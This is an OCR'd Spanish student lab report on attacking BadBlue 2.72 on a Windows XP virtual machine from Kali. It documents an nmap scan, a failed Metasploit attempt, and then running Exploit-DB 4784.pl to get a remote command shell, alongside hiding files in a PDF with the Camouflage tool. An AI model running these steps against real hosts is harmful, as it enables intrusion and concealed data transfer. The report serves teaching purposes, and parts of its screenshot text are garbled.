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1. INTRODUCCION

El presente informe se enfoca en el analisis practico de BadBlue instalado en una maquina con
Windows XP y en las técnicas de ocultamiento de informacion empleadas con la herramienta
Camouflage desde una estacion de ataque basada en Kali Linux. Ademads, comprobar de qué

manera archivos aparentemente normales pueden contener datos ocultos seguridad.

Para esto se utiliz6 Windows XP y Kali Linux, la implementaciéon de ambos ayudo6 con la
identificacion de vulnerabilidades y la ejecucion controlada de exploits. Del mismo modo, se usé

Camouflage para insertar informacion oculta en distintos tipos de archivos.



2. OBJETIVO GENERAL

Evaluar de forma practica la seguridad del servidor BadBlue en Windows XP mediante
pruebas controladas desde Kali Linux y el uso de Camouflage, documentando fallos y proponiendo

medidas para arreglarlos

3. OBJETIVOS ESPECIFICOS

e Realizar el reconocimiento y escaneo del servidor BadBlue desde Kali Linux para identificar
puertos y servicios activos.

e Probar de forma controlada las vulnerabilidades encontradas, documentando los comandos y
las evidencias obtenidas.

e Evaluar como Camouflage puede ocultar informacion en archivos alojados en el servidor y

proponer medidas simples para mitigar esos riesgos.



4. PLANTEAMIENTO DEL PROBLEMA

En entornos donde persisten sistemas y servicios desactualizados, como Windows XP y
servidores web antiguos BadBlue HTTPD 2.7, existe una exposicion significativa a
vulnerabilidades conocidas que pueden ser explotadas con facilidad, ademas debemos tener en
cuenta las diversas técnicas de ocultamiento de informacion que facilitan la transferencia o
almacenamiento de datos maliciosos o no autorizados sin activar controles convencionales de
deteccion, es por este motivo que se plantea este laboratorio, para conocer de primera mano coémo

pueden ocurrir estos casos y qué medidas se pueden tener en cuenta a futuro.

SEGURIDAD Y
AUDITORIA DE REDES

llustracion 1. Seguridad y Auditoria de Redes.



5. DESARROLLO
5.1 INSTALACION DE COMPLEMENTOS PARA CARPETA COMPARTIDA

Para poder establecer carpetas compartidas en nuestra maquina virtual en este caso
Windows xp , vamos a la parte superior en la opcion de Dispositivos, en el ment que se despliega

elegimos la opcion llamada Insertar imagen de CD de los complementos del invitado...

Ayuda

I

Unidades opticas
Audio

Red

usB

VoV VvV WV

Cémaras web

v mHEEe

Carpetas compartidas

v

Portapapeles compartido >

Arrastrar y soltar >

Insertar imagen de CD de los complementl)s del invitado...

@R|BECD

Upgrade Guest Additions...

llustracion 2:Menu de dispositivos

vamos a inicio, luego pulsaremos en Mi PC en la carpeta aparece subida el controlador

para la instalacion, pulsaremos en VirtualBox Guest Additions.

Archivos almacenados en este equipo

= o=
U Documentos compartidos u Documentos de Marianita

Tareas del sistema

Ver infarmacidn del sistema
ij Agregar o quitar programas

[3» Cambiar una configuracién

Unidades de disco duro

@ Disco local (C:)

£GA Internet ) Mis documentos
Internet Explorer /

g L:a Documentos recientes »
@ Correo electrénico

look Exq
Outlook Express ﬁ Mis imAgenes

v MSH "‘ Mi miisica
Reproductor de Windows
Media
E’ Panel de control
w@ Paseo por Windows %P

e Configurar acceso y
programas predeterminados

bl

ispositivos con i
% VirtualBox Guest Additions (D:) -

" Asistente para transferencia |,
de archivos y configuracio... 2 Impresoras y faxes

Q_)) Ayuda y soporte técnico

) Buscar

=7 Ejecutar...

Todos los programas D

llustracion 3:Mi pc
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5.2 INSTALACION DE VIRTUALBOX GUEST ADDITIONS

Luego en el instalador vamos a darle basicamente en continuar a todo, como se podra a

preciar en las siguientes capturas.

Oracle VirtualBox Guest Additions 7.2.2 Setup E]l:|®

Welcome to the Oracle VirtualBox
Guest Additions Setup

Setup will quide vou through the installation of Oracle
VirkualBox Guest Additions 7.2.2,

It is recommendad that yvou close all ather applications
before starting Setup, This will make it possible to update
relevant system files without having ko reboot vour
compuker,

Click Mest bo continue,

i I Mext = ] [ Cancel

llustracion 4:Instalador VirtualBox guest additions

Dejamos la ruta por defecto

Oracle VirtualBox Guest Additions 7.2.2 Setup |Z||:|fg|

ql Choose Install Location )
hoose the folder in which toinstall Oracle VirtualBox Guest Additions 7.2.2, Q’:

= Setup will install Cracle WirkualBox Guest Additions 7.2.2 in the Following Folder. To install in a
different folder, click Browse and select another folder. Click Mext to continue.

bt
e Destination Folder
d | C:harchivos de programalOracle)VirtualBox Guest Additions| | Browse. .,

Space required: 673.0 KB
Space available: 16.3 GE

:ED éﬁc*‘ |[ mets | [ cance |

i

llustracion 5:Ruta de instalacion del VirtualBox guest additions
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5.3 INSTALACION COMPLETADA DE VIRTUALBOX GUEST ADDITIONS

En este apartado se muestran los componentes que se instalaran del paquete de VirtualBox

guest additions seguido pulsaremos en install.

Oracle VirtualBox Guest Additions 7.2.2 Setup

ml Choose Components |
o Choose which Features of Cracle WirtualBox Guest Additions 7.2.2 waou want ta install, “:
i |
= Check the components wau wank ta install and uncheck the components wou don't wank to
. install, Click Install ko start the installation,
’ , — Descripkion
Select components ta install: <t Additian
fu . = — Pasikion your mouse
Direct3D Suppart (Experir over a companent ta
o Skark menu entries see jts description,
ik
C
Space required: 673.0 KB
< | >
an — —
U virtualBox Windows additions 7.2.2 170484 [BE)
i
i [ < Back. ]L Install ] [ Cancel ]

llustracion 6: Componentes de VirtualBox guest additions

5.4 CARPETA COMPARTIDA PARA WINDOWS XP

Iremos nuevamente en Dispositivos luego del ment desplegable seleccionamos la opcion

de Carpetas compartidas, luego en la opciébn que aparece Preferencias de carpetas

compartidas.

Dispositivos Ayuda

Unidades opticas
Audio

Red

usB

Cémaras web

.

O)e e &g

Carpetas compartidas

I_:,' Preferencias de carpetas compartidas...

Portapapeles compartido

Arrastrar y soltar

CEN

Upgrade Guest Additions...

Insertar imagen de CD de los complementos del invitado...

vV Y A VA " V4

Tustracion 7:Opcion carpetas compartidas
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En las configuraciones de carpeta compartidas pulsaremos en el icono azul de la carpeta

que tiene un signo +

¢ WINDOWS_XP - Settings - [m] X

Basic M Search settings &€

- General Nombre Ruta omontar En |_a
Carpetas globales

W Sistema Carpetas de la maquina
Carpetas transitorias

-‘ Pantalla

&] Almacenamiento

N

({/J Audio

k-j} Red Interfaz de usuario

o | Archive ¥| Maquina || Ver ¥| Entrada 7| Dispositivos || Depurar || Ayuda ™
ﬁ Puertos serie

Appearance Normal (ventana) ~

[ uss o
Mini ToolBar Mostrar en pantalla completa/fluido

- Carpetas compartidas O Mostrar en la parte superior de la pantalla

E Interfaz de usuario | gopErs =g @E”
Cancelar Ayuda

llustracion 8:Carpetas compartidas

5.5 SELECCION DE CARPETA COMPARTIDA

Ahora en la Ruta de la carpeta tenemos que seleccionar la carpeta que vamos a compartir

a Windows xp pulsaremos en Acepta.
wgs Editar carpeta compartida X

Ruta de la carpeta \User...umentos\Marianita

Mombre de la carpeta  Marianita

Mount Point

S0lo lectura
Automontar
Make Machine-permanent
() Make Global

Cancelar

llustracion 9:Seleccion de la carpeta compartida
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Volvemos en la carpeta de Mi PC y podemos verificar que la carpeta se encuentra

compartida en Windows xp.

Dispositivos con almacenamiento extraible

WirkualBox Guest Addikions (D)

Unidades de red

"WBoxSYr" (2]

[lustracion 10:Carpeta compartida en Windows xp

5.6 CARPETA COMPARTIDA

Dentro de la carpeta compartida estaran estos archivos badblue-personal-edition_272b ,

Camouflage 1 2 1 , chontaduro-cortado , Guia de gatos , mani-2 , recetas_comidas

= Marianita en "VBoxSvr" (Z:)

Archivo  Edicion  Yer Favoritos  Herramientas — Ayuda

@Atrés - -d l.@ pBL'lsqueda H_ Carpetas v

Direccidn | S8 z:,

Tareas de archivo y carpeta £ (_3, badblue-personal-edition_z72b

@ Publicar esta carpeta en Web

chontaduro-cortadao
Archivo
39KE

i [8)

Otros sitios

i MipC mani- - rnedce;asgcon;idéa; i
oDe ACrobal ocumen|
Mis documentas h Imagen JPEG ‘e 56144 KB

|3 Documentos compartidos
\d Mis sitios de red

<«

Detalles

llustracion 11:contenido de la carpeta compartida

Camouflage_1_2_1

Guia de gatos
Adobe Acrobat Document
6,647 KB
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5.7 EXTRACCION DE ARCHIVOS PARA LA INSTALACION DE CAMOUFLAGE

Instalaremos el camouflage 1 2 1 que estd en la carpeta compartida, luego de abrir el

instalador pulsaremos en Unzip para comenzar la instalacion.

WinZip Self-Extractor - Camouflage_1_2 1.exe E'

To unzip all files in Eamnuflage_1_2_ﬁ Urizip
specified folder press the Unzip buttor

ik

Fun Windip
IJnzip ko folder:
|1 WaaRIAN 1WCONFIG 14T emp Browse... | Cloze |
v Ovenwnite files withaut prompting Ahaut

v ‘when done unzipping oper: Setup.exe o
elp

fl

llustracion 12:Instalador de camouflage abierto

Los archivos se extraerdn para que finalmente camouflage pueda ser instalada

correctamente.

To unzip all files in Camouflage_1_2_1.exe to the
specified folder press the Unzip button.

Run *%ingip

IJnzip totolder

IR WinZip Self-Extractor E' SE.. | Llose

19 file{s) unzipped successfully About

Pl

Help

llustracion 13:Extrayendo archivos de Instalacion de Camouflage
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5.8 INSTALACION DE CAMOUFLAGE

A continuacion, la extraccion de los archivos abrird el instalador automaticamente, aqui

pulsaremos en el boton de Next para continuar con la instalacion.

YWielcome to the Camouflage Setup program. Thiz
program will inztall Camouflage on your computer.

It iz strangly recommended that you exit all ‘Windows programs
before running this Setup program.

Click Cancel to quit Setup and then close any programs you
have running. Click Mest to continue with the Setup program.

WARMIMG: Thiz program is pratected by copyright law and
international treaties.

|Inautharized repraduction or diztribution of this pragram, or any
portion of it, may result in zevere civil and criminal penalties, and
will be prozecuted to the maximum extent pozsible under lav.

M et = | Cancel

llustracion 14:instalador de camouflage abierto

La siguiente ventana muestra la licencia del software para que las aceptemos pulsando en

Yes.

Software License Agreement

Fleaze read the following License Aareement. Press the PAGE DOWMN key to see
the rest of the agreement.

[Camouflage is Freeware. You are encouraged to freely use and distribute it provided that =
no filez are added or removed from the archive, and that all files contained within the F
archive are digtnibuted together,

All titles and copyrights in and to Camouflage are owned exclusively by Twisted Pear
Productions. r'ou may not reverse engineer, decompile, dizassemble or alter Camouflage
software in any way. =

To the maximum extent permitted by applicable law, in no event zhall the individual
author(z] or Twizted Pear Productions be liable far any special, incidental, indirect, or
conzequential damages whatzoever (including, without limitation, damages for lozs of
buziness profits. business interuption, lozs of buzsingss information, or any other pecuniany
losg] ariging out of the use of or inability to use Camouflage or the provision of or failure to
provide Support Services,

W

Do pou accept all the termz of the preceding License Agreement? If you choose Mo, Setup
will close. Toinstall Camouflage, you must accept thiz agreement.

< Back Tes

llustracion 15:Licencia del software
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5.9 RUTA DE INSTALACION DE CAMOUFLAGE

A continuacion nos pide una ruta donde se pueda instalar camouflage, por

recomendaciones se dejard en su ruta predeterminada.

Choose Destination Location

Setup will install Camouflage in the following folder.

Toinstall to this folder, click Mest.

Toinstall to a different folder, click Browse and select another
folder.

‘r'ou can chooze not to install Camouflage by clicking Cancel to
et Setup.

Destination Folder

C:\Archivos de programatCamaouflage Browse...
¢ Back | Meut » |

Cancel |

— —
llustracion 16:Destino de localizacion de camouflage

En este apartado vemos los demds componentes que se instalaran de camouflage aqui

pulsaremos en Next.

Select Program Folder

Setup will add program icons to the Progran Folder lizted below,
“r'ou may type a new folder name, or select one from the existing
Folders list. Click Mest to continue.

Program Faolders:

Camoutlag

Esizting Folders:

Accesonos

Herramientas administrativas
Inicio

Juegos

WideoLAN

llustracion 17:Componentes de instalacion de camouflage
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INSTALACION DE CAMOUFLAGE TERMINADA

Para continuar pulsaremos Next

Start Copying Files

Setup has enough infarmation o start copying the program files.
If you want to review or change any settings, click Back. 1f you
are zatisfied with the zettings, click Mext to beqgin copying files.

Current Settings:

Destination Directony:
C:"Archivos de programatCamotflage

Program Folder;
Camouflage

¢ Back | Mext » |

Cancel ‘

jE—

llustracion 18:Paquete de camouflage listo para instalar

17

La instalacion de camouflage estd completamente terminada, todos los componentes

fueron instalados, haces clic en Finish.

Setup Complete

Setup has finizhed instaling Camouflage on your computer,

Setup can launch the Read Me file and Camouflage Settings.
Chooge the options you want below,

v “fes. | want to view the Read Me file now.

[~ Yes, | want to change Camouflage's Settings niow.

Click. Finizh to complete Setup.

Hlustracion 19:Instalacion de camouflage terminada

—
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5.11 FUNCIONAMIENTO DE CAMOUFLAGE

Pasaremos los archivos de la carpeta compartida que en este caso lo moveremos en Mis

documentos para que puedan ser manipulados con el programa camouflage.

Archivo  Edicion Yer  Fawvoribos  Herramientas  Avuda ﬂ,‘-
@ Atrds - -\_;'J II: p Busqueda I{_'“ Carpetas -
Direccidn |5 C:\Documents and Settings\MarianitaiMis documentos b | Ir

9‘/ :

. e e
Tareas de archivo ¥ carpeta ILt:/ Mi miisica Mis imagenes

'Ej Crear nueva carpeta

@ Publicar esta carpeta en Web -
¢ » badblue-personal-edition_272b

. Camouflage_1_2_1
@ Compartir esta carpeta

% chontaduro-cortadao Guia de gatos
DOtros sitios = gaal | Archiva Adobe Acrobat Document
—= | Z9FkE &.647 KB
g MiPC
) ) '~ recetas_comidas
Mis documentos h ;nr:;"sn PEG Adobe Acrobat Document
| Documentos compartidos d Adope, 0144 KB

\ﬂ IMis sitios de red
llustracion 20:Archivos transferidos a Windows xp
Seleccionamos a la vez 4 de estos archivos que transferimos a los documentos de nuestro
Windows xp , daremos clic derecho sobre ellos, en el ment que se despliega pulsando en la opcion

de Camouflage.

Mis imagenes

( ”\G\-*
/

Camouflage_1_2_1

Abrir
EfCamouflage
ERuUncamouflage

56, 144 KB

Erwiar a »

Coarkar
Copiar

Crear acceso directo
Elirninar
Cambiar nombre

Propiedades

llustracion 21:Seleccionando los archivos a camuflar
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5.12 CAMUFLANDO LOS ARCHIVOS
A continuacidn, en esta ventana estaran los archivos que seleccionamos, en este caso vamos
a seleccionar el archivo Guia de gatos.pdf, daremos en Next

chantadura-cartadan ~ GUia de gatos
Archivi Adobe Acrobat Document
39 KEB '

s 6647 KB

Camouflage : E| [z|

Settingz

These filez will be hidden within your camouflaged file.

M arne |
chontadura-cortadao

Size| Attributes |
29KB

1 mani-2.jpg MKE A
E recetas_comidas. pdf AE143KE A

Click here to get the |atest version ﬁ | Mext = | LCloze

llustracion 22:Seleccion de archivos para camuflar

=]

En la primera ilustraciéon buscaremos el archivo a camuflar que en este caso es guia de
gatos.pdf  en la segunda ilustracion estard el mismo archivo pero en este caso le cambiaremos el

nombre para efectos del camouflage, con el nombre de Guia_de_perros.pdf . Pulsaremos en Next

para avanzar.

| I
chontaduro-cortadan - fGuia de gatos
Archivo Adobe Acrobat Document
39 KB e 6647 KE
%2 Camouflage |-_| |E| El N
&3 Camouflage
Your camouflaged files will be made to look and act like the following file.

Choose the location and filename for the camouflage file that iz about to be created.

Camouflage Using uments and 5ettingstt arianitathiz documentoshGuia de gatos. pdifid J

Create This File

|ents and Settingzih arianitaiMis documentozhGuia_de_perros pdf jJ
v Read-only

Click here to get the latest version ﬁ Mext > Clase Click here ta get the latest version él Mext > | Clase

llustracion 24: Guia de gatos

llustracion 23:Guia_de_perros.pdf
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5.13 ARCHIVOS CAMUFLADOS
Para terminar de camuflar el programa pedird ingresar una contrasefia en este caso la

contrasefia ingresada sera mariana luego pulsaremos en Finish.

Camouflage

(=1

Enter a zecurity password for your camouflaged file if pou wizh.

HEREENRE

xxxxxx>1

Paszword

Yerify Pazsword

Click here to get the latest version

<Back | Finish Clase

{lustracion 25:Clave para el camuflado

Cambiamos el nombre del archivo exitosamente por Guia_de_perros , asumiendo el peso

de los demas archivos que fueron seleccionados.

Guia de gatos
fdobe Acrobat Document

3 badblue-personal-edition_272h q Camaouflage_1_2 1
1

| Okl 56,144 KB
ﬁ_m Eézh;;ﬁﬁgﬁéfnmmem —
Mlustracion 26:Camuflaje exitoso
5.14 INSTALACION DE BADBLUE 2.72

Vamos a abrir el instalador de badblue, para comenzar con la instalacién pulsaremos en

Next.



<> BadBlue Enterprise Edition 2. 72 Setup

Welcome to the BadBlue Enterprise
Edition 2.72 Setup Wizard

This wizard will guide you through the installation of BadBlue
Enterprise Edition 2,72,

It is recommended that vou close all other applications
before starting Setup. This will make it possible to update
relevant system files without having to reboat your
compuker.

Click Mesxt to continue.

I Mexk = ] [ Cancel

lustracion 27 :Instalador de badblue

Dejamos la ruta que esté por defecto, seguido pulsamos en Install.

G_'E- BadBlue Enterprise Edition 2.72 Setup

6 @ / Choose Install Location
bt ”e Choose the Falder in which to install BadBlue Enterprise Edition

2,72,

. Setup will install BadBlue Enterprise Edition 2,72 in the Following Folder, To install in a different
folder, click Browse and select another folder, Click Install to start the installation.

Destination Folder

Ch\archivos de programa’BadBlue\EE

Space required: 1.4MB
Space available: 16.1GE

[ < Back, ” Install ] [ Cancel

Tlustracion 28:Ruta de instalacion de badblue

21
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5.15 FUNCIONAMIENTO DE BADBLUE

Para poder iniciar badblue pedira registrarse anteriormente, rellenaremos los campos de

Full name, Email address, luego pulsaremos en Agree.

License agreement

— Registration |nformation

Full name: Imariana zanchez

Email address: Imariana@gmail.cum

— End User License Agreement for BadBlue Software

Entire Agreement.

“r'ou agree that this iz the entire agreement bebween you and
"W, which supersedes any prior agreement, whether written
or oral, and all other communications between WR| and you

relating to the subject matter of thiz Agreement.

Rezervation of rights.
Al rightz not expressly granted in thiz Agreement are rezerved
by WAL

Agrees I Dizagree |

llustracion 29:Registro de inicio para badblue

luego se abre automaticamente el navegador indicando que se estara usando la version de

badblue Enterprise edition.

{= BadBlue: the file-sharing web server anyone can use - Windows Internet Explorer

LS L e |g, http:/127.0.0. 1 fext dIlPmfcisapicommand=loadpageipag | % & 4| X )C Live Search | 2|~

Archivo  Edicidn  Mer  Favoritos  Herramientas  Ayuda

7 Favaritos | 9% £ Sitios sugeridos = @] Galerfa de Web Slice ~

»

| (& BadBlue: the file-sharing web server anyone can use | | fil - B ) deh - Pagna - Seguridad v Hervamientas + (@)~
BadBlue
ENTERPRISE
EDITION
@)
o
File search: || ‘ file, path
earch
Search using a partial word (inv matches °
invoices), by file extension (jpg, mp3, xls,
...) or with multiple words (photo album -
would match all files that include the words cehedulin Y
photo and afbum). se “"J ‘” u'{'le
ENTERPRISE EDITION |
hd
< |
| @ nternet v Wi -

llustracion 30:Badblue Enterprise edition
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5.16 ESCANEO DE PUERTOS

Vamos a escanear la red con nmap -sV 192.168.10.0/24 para ver las vulnerabilidades que

aparezcan con badblue.

llustracion 31:Comando nmap -sV

El resultado de estos escaneos indica que en la direccion ip 192.168.10.4 ¢l puerto 80 se

encuentra habilitado para badblue, el servicio este Badblue httpd 2.7

Nmap scan report for 192.168.10.4

Host is up (0.0020s latency).

Not shown: 995 closed tcp ports (reset)

PORT STATE SERVICE VERSION

80/tcp open http BadBlue httpd 2.7
135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds

3389/tcp open ms-wbt-server Microsoft Terminal Services

MAC Address: 08:00:27:2E:C9:8D (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Service Info: 0Ss: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

lustracion 32:Escaneo de red

5.17 EXPLOTACION DE VULNERABILIDAD DE BADBLUE

Abriremos el framework de metasplotable con el comando msfconsole , luego se buscaran

exploits para badblue mediante el search badblue como se mostrara a continuacion:
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~

Metasploit tip: View advanced module options with advanced

Call trans opt: received. 2-19-98 1 4:18 REC:Loc
Trace program: running
wake up, Neo ...
the matrix has you

follow the white rabbit.

knock, knock, Neo.

https://metasploit.com

it :
547 exploits - 1,309 auxiliary - 1,683 payloads
432 post - 49 encoders - 13 nops - 9 evasion

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > search badbluel]

1lustracion 33:Framework metasploit

5.18 PRUEBA DE EXPLOITS DE BADBLUE

Luego de haber buscado exploits de badblue con el comando search badblue , estos son

los resultados, en este caso aparecen 4 exploits para badblue:

msf > search badblue

Matching Modules

Name Disclosure Date Rank Check Description

exploit/windows/http/badblie_ext_overflow 2003-04-2 Yes EGIINTT 5 EXT.dll Buffer Overflow

exploit/windows/http/badblue_passthru 2007-12 No BadBlue 2.72b PassThru Buffer Overflow
: BadBlue EE 2.7 Universal . . .
: BadBlue 2.72b Universal

WS

Interact with a module by name or index. For example inf
After interacting with a module you can manually set a TARGET with

msf > i

llustracion 34:Exploits de badblue
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Vamos seleccionar el primer exploit con la numeracion que lo acompaiia en este caso el
primero tiene la numeracion 0 lo escogeremos con use 0 luego miramos cuales configuraciones

necesita el exploit con show options.

msf > use 0
No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf exploit( ) > show options

Module options (exploit/windows/http/badblue_ext_overflow):

Name Current Setting Required Description

Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, http, socks5h
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

RPORT 80 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

VHOST no HTTP server virtual host

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.10.3 yes The listen address (an interface may be specified)
LPORT NANA yes The listen port

Exploit target:
Id Name

@ BadBlue 2.5 (Universal)

View the full module info with the info, or info -d command.

[lustracion 35:Configuracion del exploit

5.19 INTENTO DE EXPLOTACION
Ingresamos el set RHOSTS 192.168.10.4 y luego vamos a ejecutar el exploit, sin embargo,

no se inicid una sesion.

msf exploit( ) > set RHOSTS 192.168.10.4
RHOSTS = 192.168.10.4
msf exploit( ) > exploit
Started reverse TCP handler on 192.168.10.3:4444
Trying target BadBlue 2.5 (Universal) ...
Exploit completed, but no session was created.
msf exploit( ) > sessions -i

Active sessions

No active sessions.

msf exploit(

llustracion 36:Intento de explotacion
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520 EXPLOTACION CON BADBLUE

En una terminal nueva vamos a buscar un exploit que pueda funcionar con el comando

searchsploit badblue. El exploit que funciona es el llamado 4784.pl.

ear loit badblue

Exploit Title

.5 - 'ext.dll' Remote Buffer Overflow (Metasploit)

.5 - Easy File Sharing Remote Buffer Overflow

.52 Web Server - Multiple Connections Denial of Service Vulnerabilities

.55 - Web Server Remote Buffer Overflow

.72 - PassThru Remote Buffer Overflow

.72b - Multiple Vulnerabilities

.72b - PassThru Buffer Overflow (Metasploit)

Working Resources 1.7.3 - Null Byte File Disclosure

Working Resources 1.7.x - Administrative Interface Arbitrary File Access

Working Resources 1.7.x/2.15 - 'ext.dll' Command Execution

Working Resources 1.2.7 - Denial of Service

Working Resources 1 - Full Path Disclosure

Working Resources 1

Working Resources 1

Working Resources 1 - Search Page Cross-Site Scripting

Working Resources 1. - 'cleanSearchString()' Cross-Site Scripting

Working Resources 1.7.3 - GET Denial of Service
1
1
2
2
S

windows/remote/16761.rb
windows/remote/845.c
windows/dos/419.pl
windows/remote/847.cpp
windows/remote/4784.pl
wlndows/remote/4/15.TXT
windows/remote/16806.rb
windows/remote/21616.txt
windows/remote/21630.html
windows/remote/22511. txt
windows/dos/20641.txt
windows/remote/20640. txt
windows/remote/21303. txt
windows/remote/21576.txt
cgi/webapps/22045.txt
windows/remote/21599.txt
windows/dos/21600.txt
windows/remote/22620.txt
windows/remote/24409.txt
windows/remote/25166.c
windows/remote/25167.c
php/webapps/23753.txt

NNNN NN

N

.6 - Directory Traversal
'ext.dll' Cross-Site Scripting

Resources .X/2.%x - Unauthorized HTS Access
Resources .7.%/2.x - Unauthorized Proxy Relay
Resources .55 - MFCISAPICommand Remote Buffer Overflow (1)
Resources .55 - MFCISAPICommand Remote Buffer Overflow (2)
Resources erver 2.40 - "PHPtest.php' Full Path Disclosure

Shellcodes: No Results

llustracion 37:exploit de badblue 4784.pl

Vamos a ver la ruta del exploit con el comando.

sploit -p windows/remote/4784.pl
Exploit: BadBlue 2.72 - PassThru Remote Buffer Overflow
URL: https://ww .exploit-db.com/exploits/4784
Path: /usr/share/exploitdb/exploits/windows/remote/4784.pl

searc

Codes: 0SVDB-42416, CVE-2007-6377
Verified: True
File Type: Perl script text executable
Copied EDB-ID #4784's path to the clipboard

llustracion 38:Ruta del exploit 4784
5.21 VULNERABILIDAD CON BADBLUE EXPLOTADA

Copiaremos el exploit de la ruta a nuestra ruta con cp
/usr/share/exploitdb/exploits/windows/remote/4784.pl /home/kali/Desktop/marianita/ ,
luego para cambiar el nombre y abrir el contenido inmediatamente aplicaremos el comando mv

4784.pl marianita.pl && nano marianita.pl.
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/home/kali/Desktop/mariana
cp f/usr/share/exploitdb/exploits/windows/remote/4784.pl /home/kali/Desktop/mariana/

/home/kali/Desktop/mariana
4784.pl

/home/kali/Desktop/mariana
nv 4784.pl marianita.pl 1ano marianita.pl

Tlustracion 39:exploit en nuestra ruta

5.22 BADBLUE EXPLOTADO

Vamos a ejecutar el exploit con la direccion ip con el puerto 80 ./mariana.pl 192.168.10.4
80, efectivamente tendremos conexion con la vulnerabilidad de badblue con conexidén a Windows

Xp como se puede apreciar en la imagen de abajo.

/home/kali/Desktop/mariana
./marianita.pl 192.168.10.4 80
+ Malicious GET request sent
Done.
+ Connect on port 4444 of 192.168.10.4
Trying 192.168.10.4 ...
Connected to 192.168.10.4.
Escape character is '"]"'.

Microsoft Windows XP [Versien 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Archivos de programa\BadBlue\PE>
C:\Archivos de programa\BadBlue\PE>

C:\Archivos de programa\BadBlue\PE>

llustracion 40:badblue explotado



6. RECOMENDACIONES

Hacer los informes a tiempo.
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7. CONCLUSION
El desarrollo de las practicas con BadBlue HTTPD 2.72 en Windows XP y la herramienta
Camouflage, utilizando Kali Linux como entorno de anélisis, permitié comprender de manera
practica las vulnerabilidades presentes en sistemas y servicios obsoletos, asi como las técnicas de
ocultamiento de informacidon empleadas en entornos reales, estas experiencias demostraron la

facilidad con la que un atacante puede explotar debilidades en software sin soporte.
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